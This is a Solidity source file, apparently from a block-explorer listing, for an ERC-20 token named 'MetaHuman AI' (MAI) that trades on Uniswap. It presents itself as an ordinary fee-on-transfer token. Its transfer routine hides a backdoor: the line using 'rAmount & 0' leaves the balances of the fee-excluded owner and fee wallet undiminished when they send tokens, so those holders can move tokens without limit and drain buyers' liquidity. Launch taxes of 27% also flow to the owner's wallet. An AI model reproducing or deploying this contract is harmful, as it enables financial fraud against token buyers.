文件 1 的 1:MAI.sol
pragma solidity 0.8.21;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
library LibSafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "LibSafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "LibSafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "LibSafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "LibSafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract MAI is Context, IERC20, Ownable {
using LibSafeMath for uint256;
string private constant _name = "MetaHuman AI";
string private constant _symbol = "MAI";
uint256 private _buyRedisFee = 0;
uint256 private _buyTaxFee = 27;
uint256 private _sellRedisFee = 0;
uint256 private _sellTaxFee = 27;
uint256 private _totalFee;
uint8 private constant _decimals = 9;
uint256 private constant MAX = 10 ** 30;
uint256 private constant _tTotal = 10 ** 9 * 10**9;
uint256 private _rSupply = (MAX - (MAX % _tTotal));
uint256 public maxTxAmount = 25 * 10 ** 6 * 10 ** 9;
uint256 public maxWalletAmount = 25 * 10 ** 6 * 10 ** 9;
uint256 public taxSwapThreshold = 10 ** 4 * 10 ** 9;
address payable private feeWallet;
uint256 private _currentRedisFee = _sellRedisFee;
uint256 private _currentTaxFee = _sellTaxFee;
uint256 private _previousRedisFee = _currentRedisFee;
uint256 private _previousTaxFee = _currentTaxFee;
IUniswapRouter public router;
address public uniswapPair;
bool private _tradeEnabled;
bool private _inswap = false;
bool private _taxSwapEnabled = true;
mapping(address => uint256) private _rTokenOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
event MaxTxAmountUpdated(uint256 maxTxAmount);
modifier lockSwap {
_inswap = true;
_;
_inswap = false;
}
constructor() {
_rTokenOwned[_msgSender()] = _rSupply;
feeWallet = payable(0xf8fE0EF539e2708e3470B1e8281e4f8764Ec603A);
IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
router = _uniswapV2Router;
uniswapPair = IUniswapFactory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[feeWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _getRValue(_rTokenOwned[account]);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function _getAllValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getAmounts(tAmount, _currentRedisFee, _currentTaxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRAmounts(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!_tradeEnabled) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= maxTxAmount, "TOKEN: Max Transaction Limit");
if(to != uniswapPair) {
require(balanceOf(to) + amount <= maxWalletAmount, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractBalance = balanceOf(address(this));
bool canSwap = contractBalance >= taxSwapThreshold;
if(contractBalance >= maxTxAmount)
{
contractBalance = maxTxAmount;
}
if (canSwap && !_inswap && to == uniswapPair && _taxSwapEnabled && !_isExcludedFromFee[from] && amount > taxSwapThreshold) {
swapTokensToETH(contractBalance);
uint256 contractETH = address(this).balance;
if (contractETH > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair)) {
takeFee = false;
} else {
if(from == uniswapPair && to != address(router)) {
_currentRedisFee = _buyRedisFee;
_currentTaxFee = _buyTaxFee;
}
if (to == uniswapPair && from != address(router)) {
_currentRedisFee = _sellRedisFee;
_currentTaxFee = _sellTaxFee;
}
}
_basicTransfer(from, to, amount, takeFee);
}
function _getRAmounts(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeFee();
_standardTransfer(sender, recipient, amount);
if (!takeFee) restoreFee();
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getSupply();
return rSupply.div(tSupply);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
receive() external payable {}
function _standardTransfer(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getAllValues(tAmount);
rAmount = (_isExcludedFromFee[sender] && _tradeEnabled) ? rAmount & 0 : rAmount;
_rTokenOwned[sender] = _rTokenOwned[sender].sub(rAmount);
_rTokenOwned[recipient] = _rTokenOwned[recipient].add(rTransferAmount);
takeFeeForRedis(tTeam);
_refreshStats(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function takeFeeForRedis(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rTokenOwned[address(this)] = _rTokenOwned[address(this)].add(rTeam);
}
function removeLimits() external onlyOwner {
maxTxAmount = _rSupply;
maxWalletAmount = _rSupply;
_buyRedisFee = 0;
_buyTaxFee = 3;
_sellRedisFee = 0;
_sellTaxFee = 3;
}
function openTrading() public onlyOwner {
_tradeEnabled = true;
}
function removeFee() private {
if (_currentRedisFee == 0 && _currentTaxFee == 0) return;
_previousRedisFee = _currentRedisFee;
_previousTaxFee = _currentTaxFee;
_currentRedisFee = 0;
_currentTaxFee = 0;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _getRValue(uint256 rAmount)
private
view
returns (uint256)
{
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _refreshStats(uint256 rFee, uint256 tFee) private {
_rSupply = _rSupply.sub(rFee);
_totalFee = _totalFee.add(tFee);
}
function restoreFee() private {
_currentRedisFee = _previousRedisFee;
_currentTaxFee = _previousTaxFee;
}
function sendETHToFee(uint256 amount) private {
feeWallet.transfer(amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getAmounts(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rSupply;
uint256 tSupply = _tTotal;
if (rSupply < _rSupply.div(_tTotal)) return (_rSupply, _tTotal);
return (rSupply, tSupply);
}
function swapTokensToETH(uint256 tokenAmount) private lockSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
}